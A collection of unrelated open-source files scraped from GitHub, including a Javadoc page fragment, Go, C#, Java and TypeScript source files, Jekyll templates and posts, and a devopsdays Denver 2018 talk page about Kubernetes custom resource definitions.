<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/purl/accessor/DomainAccessor.html" title="class in org.purl.accessor"><B>PREV CLASS</B></A>
<A HREF="../../../org/purl/accessor/DomainAccessor.DomainPrivateDataFilter.html" title="class in org.purl.accessor"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/purl/accessor/DomainAccessor.DomainCreator.html" target="_top"><B>FRAMES</B></A>
<A HREF="DomainAccessor.DomainCreator.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
</BODY>
</HTML>
| {
"content_hash": "9474df941c57d9c0990fb4b4c8f77622",
"timestamp": "",
"source": "github",
"line_count": 263,
"max_line_length": 359,
"avg_line_length": 44.634980988593156,
"alnum_prop": 0.6463923673225999,
"repo_name": "prototypo/persistenturls",
"id": "7ea695490e39e73099378653fb98998be8beeade",
"size": "11739",
"binary": false,
"copies": "1",
"ref": "refs/heads/1.6",
"path": "src/javadoc/org/purl/accessor/DomainAccessor.DomainCreator.html",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "HTML",
"bytes": "46865"
},
{
"name": "Java",
"bytes": "135836"
},
{
"name": "JavaScript",
"bytes": "2827"
},
{
"name": "XSLT",
"bytes": "5900"
}
],
"symlink_target": ""
} |
package schemas
import (
"fmt"
"strings"
)
// enumerate all index types
const (
IndexType = iota + 1
UniqueType
)
// Index represents a database index
type Index struct {
IsRegular bool
Name string
Type int
Cols []string
}
// NewIndex new an index object
func NewIndex(name string, indexType int) *Index {
return &Index{true, name, indexType, make([]string, 0)}
}
func (index *Index) XName(tableName string) string {
if !strings.HasPrefix(index.Name, "UQE_") &&
!strings.HasPrefix(index.Name, "IDX_") {
tableParts := strings.Split(strings.Replace(tableName, `"`, "", -1), ".")
tableName = tableParts[len(tableParts)-1]
if index.Type == UniqueType {
return fmt.Sprintf("UQE_%v_%v", tableName, index.Name)
}
return fmt.Sprintf("IDX_%v_%v", tableName, index.Name)
}
return index.Name
}
// AddColumn add columns which will be composite index
func (index *Index) AddColumn(cols ...string) {
for _, col := range cols {
index.Cols = append(index.Cols, col)
}
}
func (index *Index) Equal(dst *Index) bool {
if index.Type != dst.Type {
return false
}
if len(index.Cols) != len(dst.Cols) {
return false
}
for i := 0; i < len(index.Cols); i++ {
var found bool
for j := 0; j < len(dst.Cols); j++ {
if index.Cols[i] == dst.Cols[j] {
found = true
break
}
}
if !found {
return false
}
}
return true
}
| {
"content_hash": "d0b4f8bac3834828d0d6957500e96eef",
"timestamp": "",
"source": "github",
"line_count": 68,
"max_line_length": 75,
"avg_line_length": 20.264705882352942,
"alnum_prop": 0.6400580551523948,
"repo_name": "cez81/gitea",
"id": "9541250f55aa96c97065adeab821872473453ce2",
"size": "1540",
"binary": false,
"copies": "5",
"ref": "refs/heads/main",
"path": "vendor/xorm.io/xorm/schemas/index.go",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Dockerfile",
"bytes": "1196"
},
{
"name": "Go",
"bytes": "2491191"
},
{
"name": "Makefile",
"bytes": "14717"
},
{
"name": "Perl",
"bytes": "3327"
},
{
"name": "Roff",
"bytes": "41"
},
{
"name": "Shell",
"bytes": "123207"
}
],
"symlink_target": ""
} |
{% if site.owner.google.ad-client and site.owner.google.ad-slot %}
<div class="google-ads">
<!-- 320 x 50 ad -->
<script async src="http://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<ins class="adsbygoogle"
style="display:inline-block;width:320px;height:50px"
data-ad-client="{{ site.owner.google.ad-client }}"
data-ad-slot="{{ site.owner.google.ad-slot }}"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
</div><!-- /.google-ads -->
{% endif %}
<span>© {{ site.time | date: '%Y' }} {{ site.owner.name }}. Powered by <a href="http://jekyllrb.com" rel="nofollow">Jekyll</a> using the <a href="http://mademistakes.com/minimal-mistakes/" rel="nofollow">Minimal Mistakes</a> theme. Hosted on <a href="https://github.com/joystick2020/joystick2020.github.io">Github</a>.</span>
| {
"content_hash": "d1ebf5f61081460ab638a4f6de063f57",
"timestamp": "",
"source": "github",
"line_count": 15,
"max_line_length": 330,
"avg_line_length": 57.53333333333333,
"alnum_prop": 0.6581691772885284,
"repo_name": "joystick2020/joystick2020.github.io",
"id": "31fa4b7d58580c2469ce2da4375b531d6a38561b",
"size": "863",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "_includes/_footer.html",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "50036"
},
{
"name": "HTML",
"bytes": "83396"
},
{
"name": "JavaScript",
"bytes": "53389"
},
{
"name": "Python",
"bytes": "2630"
},
{
"name": "Ruby",
"bytes": "98"
},
{
"name": "TeX",
"bytes": "9345"
}
],
"symlink_target": ""
} |
namespace Microsoft.AzureStack.Management.Fabric.Admin
{
using Microsoft.AzureStack;
using Microsoft.AzureStack.Management;
using Microsoft.AzureStack.Management.Fabric;
using Microsoft.Rest;
using Microsoft.Rest.Azure;
using Models;
using System.Collections;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
/// <summary>
/// ComputeFabricOperations operations.
/// </summary>
public partial interface IComputeFabricOperations
{
/// <summary>
/// Get the status of a compute fabric operation.
/// </summary>
/// <param name='location'>
/// Location of the resource.
/// </param>
/// <param name='provider'>
/// Name of the provider.
/// </param>
/// <param name='computeOperationResult'>
/// Id of a compute fabric operation.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse<OperationStatus>> GetWithHttpMessagesAsync(string location, string provider, string computeOperationResult, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
}
}
| {
"content_hash": "28e969222992c9a4736ad2849f0cee50",
"timestamp": "",
"source": "github",
"line_count": 48,
"max_line_length": 265,
"avg_line_length": 39.333333333333336,
"alnum_prop": 0.638771186440678,
"repo_name": "shutchings/azure-sdk-for-net",
"id": "3d1b6766f849806d775848467ee49e5ee1c7ce8f",
"size": "2200",
"binary": false,
"copies": "6",
"ref": "refs/heads/psSdkJson6",
"path": "src/AzureStack/FabricAdmin/Fabric.Admin/Generated/IComputeFabricOperations.cs",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "ASP",
"bytes": "118"
},
{
"name": "Batchfile",
"bytes": "20350"
},
{
"name": "C#",
"bytes": "82551342"
},
{
"name": "CSS",
"bytes": "685"
},
{
"name": "JavaScript",
"bytes": "7875"
},
{
"name": "PowerShell",
"bytes": "30922"
},
{
"name": "Shell",
"bytes": "10277"
},
{
"name": "XSLT",
"bytes": "6114"
}
],
"symlink_target": ""
} |
package org.hellojavaer.poi.excel.utils.write;
import org.hellojavaer.poi.excel.utils.common.Assert;
import java.util.List;
/**
* @author <a href="mailto:hellojavaer@gmail.com">zoukaiming</a>
*/
public abstract class ExcelWriteSheetProcessor<T> {
public abstract void beforeProcess(ExcelWriteContext<T> context);
public abstract void onException(ExcelWriteContext<T> context, ExcelWriteException e);
public abstract void afterProcess(ExcelWriteContext<T> context);
private Integer sheetIndex;
private String sheetName;
private int startRowIndex = 0;
private Integer templateStartRowIndex;
private Integer templateEndRowIndex;
private ExcelWriteFieldMapping fieldMapping;
private ExcelWriteRowProcessor<T> rowProcessor;
private boolean trimSpace = false;
private Integer headRowIndex;
private List<T> dataList;
private Integer theme;
public Integer getSheetIndex() {
return sheetIndex;
}
public void setSheetIndex(Integer sheetIndex) {
this.sheetIndex = sheetIndex;
}
public String getSheetName() {
return sheetName;
}
public void setSheetName(String sheetName) {
this.sheetName = sheetName;
}
public int getStartRowIndex() {
return startRowIndex;
}
public void setStartRowIndex(int startRowIndex) {
this.startRowIndex = startRowIndex;
}
public ExcelWriteFieldMapping getFieldMapping() {
return fieldMapping;
}
public void setFieldMapping(ExcelWriteFieldMapping fieldMapping) {
this.fieldMapping = fieldMapping;
}
public void setTemplateRows(Integer start, Integer end) {
Assert.isTrue(start != null && end != null && start <= end || start == null && end == null);
this.templateStartRowIndex = start;
this.templateEndRowIndex = end;
}
public Integer getTemplateStartRowIndex() {
return templateStartRowIndex;
}
public Integer getTemplateEndRowIndex() {
return templateEndRowIndex;
}
public ExcelWriteRowProcessor<T> getRowProcessor() {
return rowProcessor;
}
public void setRowProcessor(ExcelWriteRowProcessor<T> rowProcessor) {
this.rowProcessor = rowProcessor;
}
public boolean isTrimSpace() {
return trimSpace;
}
public void setTrimSpace(boolean trimSpace) {
this.trimSpace = trimSpace;
}
public Integer getHeadRowIndex() {
return headRowIndex;
}
public void setHeadRowIndex(Integer headRowIndex) {
this.headRowIndex = headRowIndex;
}
public List<T> getDataList() {
return dataList;
}
public void setDataList(List<T> dataList) {
this.dataList = dataList;
}
public Integer getTheme() {
return theme;
}
public void setTheme(Integer theme) {
this.theme = theme;
}
}
| {
"content_hash": "1520ba7a5b91d2b390fd860ab256326a",
"timestamp": "",
"source": "github",
"line_count": 117,
"max_line_length": 100,
"avg_line_length": 26.316239316239315,
"alnum_prop": 0.6404676843130886,
"repo_name": "hellojavaer/poi-excel-utils",
"id": "795750f5afc65a3c0b7bd51d6096bd38341c49d2",
"size": "3699",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "src/main/java/org/hellojavaer/poi/excel/utils/write/ExcelWriteSheetProcessor.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Java",
"bytes": "151529"
}
],
"symlink_target": ""
} |
import Tree from './Tree';
export default Tree;
| {
"content_hash": "923112b91049a04acb2a13c43c582c62",
"timestamp": "",
"source": "github",
"line_count": 3,
"max_line_length": 26,
"avg_line_length": 16.333333333333332,
"alnum_prop": 0.7142857142857143,
"repo_name": "suitejs/suite",
"id": "97204303399d6a9a64f3693ec5489c0ecb3d8747",
"size": "49",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "src/Tree/index.tsx",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "JavaScript",
"bytes": "178942"
}
],
"symlink_target": ""
} |
layout: post
title: How to install this theme
icon: fa fa-wrench
categories: articles
tags: [sample-post]
comments: true
description: How to install this theme, follow steps, very easy!
---
## How to install Freshman theme?
{% highlight Bash shell scripts linenos%}
# please make sure you have already installed git tools and ruby tools(gem)
$ gem install sass
$ gem install jekyll
$ git clone https://github.com/yulijia/freshman21.git
{% endhighlight %}
Then, change the folder name to you own github page name, forexample
{% highlight Bash shell scripts %}
$ mv freshman thisisyouname.github.io
{% endhighlight %}
| {
"content_hash": "ba746d14059e914f9e17695b02cdfa6b",
"timestamp": "",
"source": "github",
"line_count": 26,
"max_line_length": 75,
"avg_line_length": 24.03846153846154,
"alnum_prop": 0.7504,
"repo_name": "abushmelev/oalex",
"id": "bf8fc2063c1a87fddc640ac5dd1da0e53e274aed",
"size": "629",
"binary": false,
"copies": "1",
"ref": "refs/heads/gh-pages",
"path": "_posts/2014-12-18-how-to-install.md",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "22992"
},
{
"name": "HTML",
"bytes": "16235"
},
{
"name": "JavaScript",
"bytes": "2078"
}
],
"symlink_target": ""
} |
package org.jsonschema2pojo.rules;
import static org.hamcrest.MatcherAssert.*;
import static org.hamcrest.Matchers.*;
import static org.mockito.Matchers.*;
import static org.mockito.Matchers.any;
import static org.mockito.Mockito.*;
import org.jsonschema2pojo.Annotator;
import org.jsonschema2pojo.Schema;
import org.jsonschema2pojo.util.NameHelper;
import org.junit.Before;
import org.junit.Test;
import org.mockito.invocation.InvocationOnMock;
import org.mockito.stubbing.Answer;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.ObjectNode;
import com.sun.codemodel.JCodeModel;
import com.sun.codemodel.JPackage;
import com.sun.codemodel.JType;
public class EnumRuleTest {
private Schema schema = mock(Schema.class);
private NameHelper nameHelper = mock(NameHelper.class);
private Annotator annotator = mock(Annotator.class);
private RuleFactory ruleFactory = mock(RuleFactory.class);
private TypeRule typeRule = mock(TypeRule.class);
private EnumRule rule = new EnumRule(ruleFactory);
@Before
public void wireUpConfig() {
when(ruleFactory.getNameHelper()).thenReturn(nameHelper);
when(ruleFactory.getAnnotator()).thenReturn(annotator);
when(ruleFactory.getTypeRule()).thenReturn(typeRule);
}
@Test
public void applyGeneratesUniqueEnumNamesForMultipleEnumNodesWithSameName() {
Answer<String> firstArgAnswer = new FirstArgAnswer<String>();
when(nameHelper.getFieldName(anyString(), any(JsonNode.class))).thenAnswer(firstArgAnswer);
when(nameHelper.replaceIllegalCharacters(anyString())).thenAnswer(firstArgAnswer);
when(nameHelper.normalizeName(anyString())).thenAnswer(firstArgAnswer);
JPackage jpackage = new JCodeModel()._package(getClass().getPackage().getName());
ObjectMapper objectMapper = new ObjectMapper();
ArrayNode arrayNode = objectMapper.createArrayNode();
arrayNode.add("open");
arrayNode.add("closed");
ObjectNode enumNode = objectMapper.createObjectNode();
enumNode.put("type", "string");
enumNode.set("enum", arrayNode);
// We're always a string for the purposes of this test
when(typeRule.apply("status", enumNode, jpackage, schema))
.thenReturn(jpackage.owner()._ref(String.class));
JType result1 = rule.apply("status", enumNode, jpackage, schema);
JType result2 = rule.apply("status", enumNode, jpackage, schema);
assertThat(result1.fullName(), is("org.jsonschema2pojo.rules.Status"));
assertThat(result2.fullName(), is("org.jsonschema2pojo.rules.Status_"));
}
private static class FirstArgAnswer<T> implements Answer<T> {
@SuppressWarnings("unchecked")
@Override
public T answer(InvocationOnMock invocation) throws Throwable {
Object[] args = invocation.getArguments();
//noinspection unchecked
return (T) args[0];
}
}
}
| {
"content_hash": "cec1e5192a4a9da86006be4ce7aa5592",
"timestamp": "",
"source": "github",
"line_count": 82,
"max_line_length": 99,
"avg_line_length": 37.91463414634146,
"alnum_prop": 0.721132196847861,
"repo_name": "s13o/jsonschema2pojo",
"id": "67d7e7f3246e767c5dd4a1c744fdcd20e221d96f",
"size": "3707",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "jsonschema2pojo-core/src/test/java/org/jsonschema2pojo/rules/EnumRuleTest.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "715"
},
{
"name": "Groovy",
"bytes": "14301"
},
{
"name": "HTML",
"bytes": "21038"
},
{
"name": "Java",
"bytes": "862487"
},
{
"name": "Shell",
"bytes": "6811"
}
],
"symlink_target": ""
} |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30311.1
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace RandomSchool.FieldTemplates
{
public partial class EnumerationField {
protected global::System.Web.UI.WebControls.Literal Literal1;
}
}
| {
"content_hash": "0eb9896324359e31bf1173da913624be",
"timestamp": "",
"source": "github",
"line_count": 16,
"max_line_length": 81,
"avg_line_length": 34.75,
"alnum_prop": 0.4910071942446043,
"repo_name": "jbwilliamson/MaximiseWFScaffolding",
"id": "26d78901f61a6b63ade3a7104fe614a404535d6c",
"size": "558",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "RandomSchool/RandomSchool/DynamicData/FieldTemplates/Enumeration.ascx.designer.cs",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "ASP",
"bytes": "300977"
},
{
"name": "C#",
"bytes": "616243"
},
{
"name": "CSS",
"bytes": "3383"
},
{
"name": "JavaScript",
"bytes": "358408"
}
],
"symlink_target": ""
} |
package org.apache.flink.runtime.state;
import org.apache.flink.annotation.Internal;
import org.apache.flink.core.fs.FSDataOutputStream;
import javax.annotation.Nullable;
import java.io.IOException;
import java.io.OutputStream;
/**
* A dedicated output stream that produces a {@link StreamStateHandle} when closed.
*
* <p><b>Important:</b> When closing this stream after the successful case, you must call {@link
* #closeAndGetHandle()} - only that method will actually retain the resource written to. The method
* has the semantics of "close on success". The {@link #close()} method is supposed to remove the
* target resource if called before {@link #closeAndGetHandle()}, hence having the semantics of
* "close on failure". That way, simple try-with-resources statements automatically clean up
* unsuccessful partial state resources in case the writing does not complete.
*
* <p>Note: This is an abstract class and not an interface because {@link OutputStream} is an
* abstract class.
*/
@Internal
public abstract class CheckpointStateOutputStream extends FSDataOutputStream {
/**
* Closes the stream and gets a state handle that can create an input stream producing the data
* written to this stream.
*
* <p>This closing must be called (also when the caller is not interested in the handle) to
* successfully close the stream and retain the produced resource. In contrast, the {@link
* #close()} method removes the target resource when called.
*
* @return A state handle that can create an input stream producing the data written to this
* stream.
* @throws IOException Thrown, if the stream cannot be closed.
*/
@Nullable
public abstract StreamStateHandle closeAndGetHandle() throws IOException;
/**
* This method should close the stream, if has not been closed before. If this method actually
* closes the stream, it should delete/release the resource behind the stream, such as the file
* that the stream writes to.
*
* <p>The above implies that this method is intended to be the "unsuccessful close", such as
* when cancelling the stream writing, or when an exception occurs. Closing the stream for the
* successful case must go through {@link #closeAndGetHandle()}.
*
* @throws IOException Thrown, if the stream cannot be closed.
*/
@Override
public abstract void close() throws IOException;
}
| {
"content_hash": "6c094c8164f6b2d3aec733f4cf37c774",
"timestamp": "",
"source": "github",
"line_count": 56,
"max_line_length": 100,
"avg_line_length": 43.839285714285715,
"alnum_prop": 0.7279022403258656,
"repo_name": "apache/flink",
"id": "485823526f7b450870060f3f31a868f2aefa3261",
"size": "3260",
"binary": false,
"copies": "11",
"ref": "refs/heads/master",
"path": "flink-runtime/src/main/java/org/apache/flink/runtime/state/CheckpointStateOutputStream.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "ANTLR",
"bytes": "20596"
},
{
"name": "Batchfile",
"bytes": "1863"
},
{
"name": "C",
"bytes": "847"
},
{
"name": "Cython",
"bytes": "137975"
},
{
"name": "Dockerfile",
"bytes": "6723"
},
{
"name": "FreeMarker",
"bytes": "101034"
},
{
"name": "GAP",
"bytes": "139876"
},
{
"name": "HTML",
"bytes": "188809"
},
{
"name": "HiveQL",
"bytes": "215858"
},
{
"name": "Java",
"bytes": "95993077"
},
{
"name": "JavaScript",
"bytes": "7038"
},
{
"name": "Less",
"bytes": "84321"
},
{
"name": "Makefile",
"bytes": "5134"
},
{
"name": "Python",
"bytes": "3100407"
},
{
"name": "Scala",
"bytes": "10653766"
},
{
"name": "Shell",
"bytes": "516779"
},
{
"name": "TypeScript",
"bytes": "381920"
},
{
"name": "q",
"bytes": "16945"
}
],
"symlink_target": ""
} |
<!DOCTYPE html>
<html itemscope lang="en-us">
<head><meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta charset="utf-8">
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="generator" content="Hugo 0.57.2" />
<meta property="og:title" content="Higher-Order Deployments: Reducing Boilerplate With Kubernetes Custom Resource Definitions" />
<meta name="twitter:title" content="Higher-Order Deployments: Reducing Boilerplate With Kubernetes Custom Resource Definitions"/>
<meta itemprop="name" content="Higher-Order Deployments: Reducing Boilerplate With Kubernetes Custom Resource Definitions"><meta property="og:description" content="Custom Resource Definitions (CRDs) with associated Controllers can provide a more powerful alternative to templating YAML manifests in Kubernetes. This talk will cover how we use CRDs and Controllers at Manifold to define higher-order composite Kubernetes resources for our deployments at Manifold. These CRDs combine the definition of Deployments, Services, and Ingresses into a single resource that is continually reconciled by Kubernetes, preventing accidental deletion or modification of one of the components." />
<meta name="twitter:description" content="Custom Resource Definitions (CRDs) with associated Controllers can provide a more powerful alternative to templating YAML manifests in Kubernetes. This talk will cover how we use CRDs and Controllers at Manifold to define higher-order composite Kubernetes resources for our deployments at Manifold. These CRDs combine the definition of Deployments, Services, and Ingresses into a single resource that is continually reconciled by Kubernetes, preventing accidental deletion or modification of one of the components." />
<meta itemprop="description" content="Custom Resource Definitions (CRDs) with associated Controllers can provide a more powerful alternative to templating YAML manifests in Kubernetes. This talk will cover how we use CRDs and Controllers at Manifold to define higher-order composite Kubernetes resources for our deployments at Manifold. These CRDs combine the definition of Deployments, Services, and Ingresses into a single resource that is continually reconciled by Kubernetes, preventing accidental deletion or modification of one of the components."><meta name="twitter:site" content="@devopsdays">
<meta property="og:type" content="talk" />
<meta property="og:url" content="/events/2018-denver/program/james-bowes/" /><meta name="twitter:creator" content="@devopsdaysrox" /><meta name="twitter:label1" value="Event" />
<meta name="twitter:data1" value="devopsdays Denver 2018" /><meta name="twitter:label2" value="Dates" />
<meta name="twitter:data2" value="April 17 - 18, 2018" /><meta property="og:image" content="https://www.devopsdays.org/img/sharing.jpg" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:image" content="https://www.devopsdays.org/img/sharing.jpg" />
<meta itemprop="image" content="https://www.devopsdays.org/img/sharing.jpg" />
<meta property="fb:app_id" content="1904065206497317" /><meta itemprop="wordCount" content="100">
<title>Higher-Order Deployments: Reducing Boilerplate With Kubernetes Custom Resource Definitions - devopsdays Denver 2018
</title>
<script>
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
ga('create', 'UA-9713393-1', 'auto');
ga('send', 'pageview');
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>
<link href="/css/site.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Roboto+Condensed:300,400,700" rel="stylesheet"><link rel="apple-touch-icon" sizes="57x57" href="/apple-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="/apple-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="/apple-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="/apple-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="/apple-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="/apple-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="/apple-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="/apple-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-icon-180x180.png">
<link rel="icon" type="image/png" sizes="192x192" href="/android-icon-192x192.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="96x96" href="/favicon-96x96.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/manifest.json">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="/ms-icon-144x144.png">
<meta name="theme-color" content="#ffffff">
<link href="/events/index.xml" rel="alternate" type="application/rss+xml" title="DevOpsDays" />
<link href="/events/index.xml" rel="feed" type="application/rss+xml" title="DevOpsDays" />
<script src=/js/devopsdays-min.js></script></head>
<body lang="">
<nav class="navbar navbar-expand-md navbar-light">
<a class="navbar-brand" href="/">
<img src="/img/devopsdays-brain.png" height="30" class="d-inline-block align-top" alt="devopsdays Logo">
DevOpsDays
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"><li class="nav-item global-navigation"><a class = "nav-link" href="/events">events</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/blog">blog</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/sponsor">sponsor</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/speaking">speaking</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/organizing">organizing</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/about">about</a></li></ul>
</div>
</nav>
<nav class="navbar event-navigation navbar-expand-md navbar-light">
<a href="/events/2018-denver" class="nav-link">Denver</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbar2">
<span class="navbar-toggler-icon"></span>
</button>
<div class="navbar-collapse collapse" id="navbar2">
<ul class="navbar-nav"><li class="nav-item active">
<a class="nav-link" href="/events/2018-denver/sponsor">sponsor</a>
</li><li class="nav-item active">
<a class="nav-link" href="https://www.eventbrite.com/e/devopsdays-denver-2018-tickets-41297850984?aff=dodorg">registration</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2018-denver/contact">contact</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2018-denver/conduct">conduct</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2018-denver/location">location</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2018-denver/program">program</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2018-denver/speakers">speakers</a>
</li></ul>
</div>
</nav>
<div class="container-fluid">
<div class="row">
<div class="col-md-12"><div class = "row">
<div class = "col-md-5 offset-md-1">
<h2 class="talk-page">Higher-Order Deployments: Reducing Boilerplate With Kubernetes Custom Resource Definitions</h2><br /><br /><br />
<span class="talk-page content-text">
<p>Custom Resource Definitions (CRDs) with associated Controllers can provide a more powerful alternative to templating YAML manifests in Kubernetes. This talk will cover how we use CRDs and Controllers at Manifold to define higher-order composite Kubernetes resources for our deployments at Manifold. These CRDs combine the definition of Deployments, Services, and Ingresses into a single resource that is continually reconciled by Kubernetes, preventing accidental deletion or modification of one of the components. With the associated Controllers, we are able to define new styles of deployment rollouts, and trigger automatic deployments when secrets or container images change, based on definable policies.</p>
</span></div>
<div class = "col-md-3 offset-md-1"><h2 class="talk-page">Speaker</h2><img src = "/events/2018-denver/speakers/james-bowes.jpg" class="img-fluid" alt="james-bowes"/><br /><br /><h4 class="talk-page"><a href = "/events/2018-denver/speakers/james-bowes">
James Bowes
</a></h4><a href = "https://twitter.com/jrbowes"><i class="fa fa-twitter fa-2x" aria-hidden="true"></i> </a><br />
<span class="talk-page content-text">James Bowes is the Technical Lead at Manifold. Over his 13 year career he has worked for companies like Red Hat and Salesforce as a senior member of the technical staff. James has scaled early stage <a href = "https://www.devopsdays.org/events/2018-denver/speakers/james-bowes/">...</a></span>
</div>
</div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Social Hour Sponsors</h4></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://www.cloudbees.com/"><img src = "/img/sponsors/cloudbees.png" alt = "cloudbees" title = "cloudbees" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Platinum Sponsors</h4><a href = "/events/2018-denver/sponsor" class="sponsor-cta"><i>Join as Platinum Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.sumologic.com/"><img src = "/img/sponsors/sumologic-before-20181203.png" alt = "SumoLogic" title = "SumoLogic" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.appdynamics.com/"><img src = "/img/sponsors/appdynamics-before-20190121.png" alt = "AppDynamics" title = "AppDynamics" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://www.victorops.com"><img src = "/img/sponsors/victorops-before-20180823.png" alt = "VictorOps" title = "VictorOps" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Gold Sponsors</h4><a href = "/events/2018-denver/sponsor" class="sponsor-cta"><i>Join as Gold Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://www.opsgenie.com"><img src = "/img/sponsors/opsgenie.png" alt = "OpsGenie" title = "OpsGenie" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://mesosphere.com/"><img src = "/img/sponsors/mesosphere.png" alt = "Mesosphere" title = "Mesosphere" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.freshtracks.io"><img src = "/img/sponsors/freshtracks.png" alt = "FreshTracks.io" title = "FreshTracks.io" class="img-fluid"></a>
